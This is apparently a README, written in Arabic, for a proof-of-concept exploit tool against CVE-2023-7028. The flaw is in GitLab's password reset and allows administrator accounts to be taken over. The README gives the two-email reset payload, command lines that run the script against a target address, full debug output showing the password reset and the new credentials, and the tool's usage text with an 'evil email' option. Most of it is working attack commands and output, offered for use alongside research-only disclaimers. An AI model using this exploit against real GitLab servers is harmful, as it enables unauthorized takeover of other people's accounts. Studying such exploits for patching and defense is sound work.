
CVE-2023-7028 POC && Exploit
هذا الكود هو إثبات مفهوم للثغرة الأمنية، ولا أشجع أي شخص على استخدامه على خوادم Gitlab التي لا يملكها.
تم تطوير هذه الأداة لأغراض البحث والتعليم فقط، ولن أتحمل أي مسؤولية عن أي استخدام قد تقوم به لها.
تشير CVE-2023-7028 إلى ثغرة الاستيلاء على الحساب (Account-Take-Over) التي تسمح للمستخدمين بالسيطرة على حساب مدير Gitlab دون أي تفاعل من المستخدم.
تكمن الثغرة في إدارة البريد الإلكتروني عند إعادة تعيين كلمات المرور. يمكن للمهاجم تقديم عنواني بريد إلكتروني وسيتم إرسال رمز إعادة التعيين إلى كلاهما.
ومن ثم، يمكن تقديم عنوان البريد الإلكتروني للحساب المستهدف بالإضافة إلى عنوان المهاجم، وإعادة تعيين كلمة مرور المدير.
(تشير Gitlab إلى أن المصادقة الثنائية تمنع استغلال هذه الثغرة، حيث لن يتمكن المهاجم، حتى بعد إعادة تعيين كلمة المرور، من تسجيل الدخول.)
فيما يلي مثال على الحمولة:
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
بدون خيار --evil، الذي يحدد عنوان البريد الإلكتروني للمهاجم، يستخدم السكربت بريدًا مؤقتًا عامًا للعثور على رابط إعادة تعيين كلمة المرور.
=> كن حذرًا إذا تم استخدام إثبات المفهوم هذا أثناء اختبار اختراق.